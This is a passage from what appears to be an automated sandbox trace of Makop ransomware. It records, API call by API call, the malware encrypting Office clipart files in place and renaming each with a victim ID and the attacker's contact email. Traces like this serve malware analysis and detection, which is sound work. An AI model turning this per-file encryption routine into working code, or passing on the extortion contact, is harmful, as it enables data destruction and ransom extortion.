nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0156.438] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0156.438] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0156.438] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0156.438] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0156.438] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0156.439] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.439] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.439] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.439] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x579, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x579, lpOverlapped=0x0) returned 1 [0156.439] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x580, dwBufLen=0x580 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x580) returned 1 [0156.439] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.439] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x580, lpOverlapped=0x0) returned 1 [0156.439] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.440] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.440] SetEndOfFile (hFile=0x130) returned 1 [0156.447] GetProcessHeap () returned 0x48a0000 [0156.447] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0156.447] GetProcessHeap () returned 0x48a0000 [0156.447] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0156.447] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0156.447] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02187_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02187_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0156.479] CloseHandle (hObject=0x130) returned 1 [0156.479] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4abc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02198_.GIF", cAlternateFileName="")) returned 1 [0156.480] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF") returned 76 [0156.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02198_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0156.482] GetProcessHeap () returned 0x48a0000 [0156.482] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0156.482] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0156.482] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0156.482] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0156.536] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.536] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.537] GetProcessHeap () returned 0x48a0000 [0156.537] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0156.537] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0156.537] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.537] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0156.537] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0156.537] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0156.537] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0156.538] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0156.538] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0156.538] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.538] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.538] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.538] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4abc, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x4abc, lpOverlapped=0x0) returned 1 [0156.541] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x4ac0, dwBufLen=0x4ac0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x4ac0) returned 1 [0156.541] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.541] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4ac0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x4ac0, lpOverlapped=0x0) returned 1 [0156.542] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.542] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4b94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.542] SetEndOfFile (hFile=0x130) returned 1 [0156.549] GetProcessHeap () returned 0x48a0000 [0156.549] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0156.549] GetProcessHeap () returned 0x48a0000 [0156.549] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0156.549] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0156.549] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02198_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02198_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0156.551] CloseHandle (hObject=0x130) returned 1 [0156.552] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1653, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02201_.GIF", cAlternateFileName="")) returned 1 [0156.552] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF") returned 76 [0156.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02201_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0156.553] GetProcessHeap () returned 0x48a0000 [0156.553] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0156.553] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0156.554] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0156.554] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xd, lpOverlapped=0x0) returned 1 [0156.558] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.558] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.559] GetProcessHeap () returned 0x48a0000 [0156.559] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0156.559] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0156.559] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.559] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0156.559] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0156.560] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0156.560] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0156.560] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0156.560] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0156.560] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.560] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.560] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.560] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1653, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x1653, lpOverlapped=0x0) returned 1 [0156.562] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x1660, dwBufLen=0x1660 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x1660) returned 1 [0156.562] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.562] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x1660, lpOverlapped=0x0) returned 1 [0156.562] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.562] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.563] SetEndOfFile (hFile=0x130) returned 1 [0156.570] GetProcessHeap () returned 0x48a0000 [0156.570] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0156.570] GetProcessHeap () returned 0x48a0000 [0156.570] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0156.571] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0156.571] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02201_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02201_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0156.573] CloseHandle (hObject=0x130) returned 1 [0156.573] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x136b, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02214_.GIF", cAlternateFileName="")) returned 1 [0156.573] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF") returned 76 [0156.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02214_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0156.574] GetProcessHeap () returned 0x48a0000 [0156.574] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0156.574] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0156.574] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0156.574] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x5, lpOverlapped=0x0) returned 1 [0156.586] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.586] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.586] GetProcessHeap () returned 0x48a0000 [0156.586] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0156.586] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0156.586] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.586] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0156.586] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0156.586] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0156.586] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0156.587] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0156.587] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0156.587] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.587] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0156.587] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.587] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x136b, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x136b, lpOverlapped=0x0) returned 1 [0156.588] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x1370, dwBufLen=0x1370 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x1370) returned 1 [0156.589] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.589] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x1370, lpOverlapped=0x0) returned 1 [0156.589] CryptDestroyKey (hKey=0x48c7168) returned 1 [0156.589] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.589] SetEndOfFile (hFile=0x130) returned 1 [0156.597] GetProcessHeap () returned 0x48a0000 [0156.597] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0156.597] GetProcessHeap () returned 0x48a0000 [0156.597] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0156.597] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0156.597] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02214_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02214_.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0156.599] CloseHandle (hObject=0x130) returned 1 [0156.599] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02218_.GIF", cAlternateFileName="")) returned 1 [0156.599] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF") returned 76 [0156.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02218_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02218_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0156.602] GetProcessHeap () returned 0x48a0000 [0156.602] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0156.602] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0156.602] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0156.602] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xc, lpOverlapped=0x0) returned 1 [0156.607] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0156.607] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 